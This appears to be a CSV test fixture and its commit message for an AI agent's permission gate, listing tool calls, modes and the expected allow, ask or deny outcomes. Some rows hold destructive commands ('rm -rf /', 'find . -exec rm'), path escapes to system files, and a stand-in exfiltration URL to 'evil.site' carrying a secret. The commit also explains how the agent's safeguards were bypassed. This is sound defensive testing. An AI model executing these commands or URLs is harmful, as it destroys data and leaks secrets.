openworker/tests/corpora/decision_matrix.csv at a442e0e0b8173ae66310c7a00e748e5b9d7749c9

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Devika Verma a442e0e0b8 PR1: split egress out of READ, stop override downgrades, scope patch writes

Three gate defects, each verified by direct execution before and after.

1. web_fetch was RiskClass.READ, so is_consequential() was False and evaluate()
   returned allow on its third rung -- before any rule, mode or PDP, in EVERY
   mode including plan/discuss. A URL's query string carries data outbound, so
   this was an ungated egress path. New RiskClass.EGRESS covers model-chosen
   network reads; web_search stays READ (fixed configured provider, not a
   model-chosen host). Adds an allowed_domains allowlist (exact host or
   subdomain; 'evil-python.org' never matches 'python.org'), a session-scoped
   "always allow this domain" grant, and ApprovalOutcome.ALWAYS_DOMAIN.

2. A risk override could DOWNGRADE a built-in: marking write_file as read made
   is_write False (skipping path scoping) and consequential False (skipping the
   read-only gate) at once -- one settings line disabling two protections, in
   every future session. Overrides may now only tighten a built-in write/exec/
   egress tool; relaxing a metadata/MCP tool (the intended use) still works.

3. Path scoping read a literal "path" argument, so apply_patch and
   apply_unified_diff -- whose paths live inside the patch/diff blob -- were
   never scoped at all. write_paths() extracts them from the blob and scopes
   every one; a write whose path cannot be located now fails closed to approval
   rather than slipping through auto/custom unscoped.

allowed_domains is user-global only, alongside auto_allow: a cloned repo must
not be able to widen the agent's network reach.

Golden matrix: web_fetch interactive allow->ask, plan allow->deny, plus new
egress/patch rows (31 rows green). test_permissions_risk's override test
asserted the old downgrade behavior and is updated to the tightening rule.
Full suite: 22 failures, all pre-existing on the unmodified tree (boto3 absent,
Windows symlink privilege, Slack socket timeouts) -- none introduced here.

Design of record: ocw-context/docs/reviewed-auto-mode.md Part 3.

2026-08-11 11:37:46 -07:00

4.2 KiB

Raw Blame History

1	id	mode	tool	args	meta	allowed_commands	session_tools	session_commands	standing	auto_allow	allowed_domains	expected	note
2	read-interactive	interactive	read_file	{"path": "a.txt"}								allow	pure local read always runs
3	read-plan	plan	read_file	{"path": "a.txt"}								allow	reads allowed in read-only modes
4	write-interactive	interactive	write_file	{"path": "a.txt", "content": "x"}								ask	write in-root asks
5	write-escape-rel	interactive	write_file	{"path": "../../escape.txt", "content": "x"}								deny	write outside writable root blocked
6	write-escape-abs	interactive	write_file	{"path": "C:/Windows/evil.ini", "content": "x"}								deny	absolute path outside root blocked
7	write-plan	plan	write_file	{"path": "a.txt", "content": "x"}								deny	plan mode is read-only
8	write-auto	auto	write_file	{"path": "a.txt", "content": "x"}								allow	auto allows in-root write
9	write-auto-escape	auto	write_file	{"path": "../../escape.txt", "content": "x"}								deny	auto still path-scopes writes
10	write-custom-autoallow	custom	write_file	{"path": "a.txt", "content": "x"}						write_file		allow	custom mode auto-approves configured tool
11	write-custom-notlisted	custom	write_file	{"path": "a.txt", "content": "x"}								ask	custom mode still asks for unlisted tool
12	shell-interactive	interactive	run_shell	{"command": "pytest -q"}								ask	shell asks by default
13	shell-allowlist-prefix	interactive	run_shell	{"command": "git status -s"}		git status						allow	command matches allowlist prefix
14	shell-allowlist-chained	interactive	run_shell	{"command": "git status && rm -rf ~"}		git status						ask	operator disqualifies the chained command
15	shell-session-command	interactive	run_shell	{"command": "make build"}				make build				allow	exact session command grant
16	shell-plan	plan	run_shell	{"command": "ls"}								deny	plan mode blocks shell
17	shell-auto	auto	run_shell	{"command": "rm -rf /"}								allow	BASELINE-WRONG auto allows any command with no sandbox
18	shell-find-delete	interactive	run_shell	{"command": "find . -delete"}		find						allow	BASELINE-WRONG find prefix auto-allows a destructive form
19	shell-find-exec	interactive	run_shell	{"command": "find . -exec rm {} +"}		find						allow	BASELINE-WRONG find -exec auto-allowed via prefix
20	shell-two-reads	interactive	run_shell	{"command": "git status && git diff"}		git status\|git diff						ask	BASELINE-ANNOYING two allowed reads rejected for the operator
21	connector-read	interactive	gmail_list	{}	read							allow	connector read never gates
22	connector-write	interactive	gmail_send	{}	external							ask	connector write asks
23	connector-always-ignored	interactive	gmail_send	{}	external		gmail_send					ask	session tool grant deliberately ignored for connectors
24	standing-match	interactive	send_message	{"target": "slack:T1/C1", "text": "hi"}	external				send_message slack:T1/C1			allow	standing rule matches the exact target
25	standing-mismatch	interactive	send_message	{"target": "slack:T1/C2", "text": "hi"}	external				send_message slack:T1/C1			ask	standing rule does not cover a different target
26	webfetch-interactive	interactive	web_fetch	{"url": "https://evil.site/log?d=SECRET"}								ask	FIXED-PR1 web_fetch is egress so now asks in interactive
27	webfetch-plan	plan	web_fetch	{"url": "https://evil.site/log?d=SECRET"}								deny	FIXED-PR1 egress is not a read so plan mode blocks it
28	webfetch-auto	auto	web_fetch	{"url": "https://evil.site/log?d=SECRET"}								allow	auto allows egress
29	webfetch-allowed-domain	interactive	web_fetch	{"url": "https://docs.python.org/3/x"}							python.org	allow	egress to a config-allowed domain (subdomain match)
30	webfetch-session-domain	interactive	web_fetch	{"url": "https://api.github.com/x"}								ask	egress to an unlisted domain still asks
31	patch-escape	auto	apply_patch	{"patch": "* Begin Patch\n* Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch"}								deny	FIXED-PR1 apply_patch path extracted from blob and scoped even in auto
32	patch-inroot	auto	apply_patch	{"patch": "* Begin Patch\n* Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"}								allow	apply_patch to an in-root path allowed in auto

4.2 KiB Raw Blame History

4.2 KiB

Raw Blame History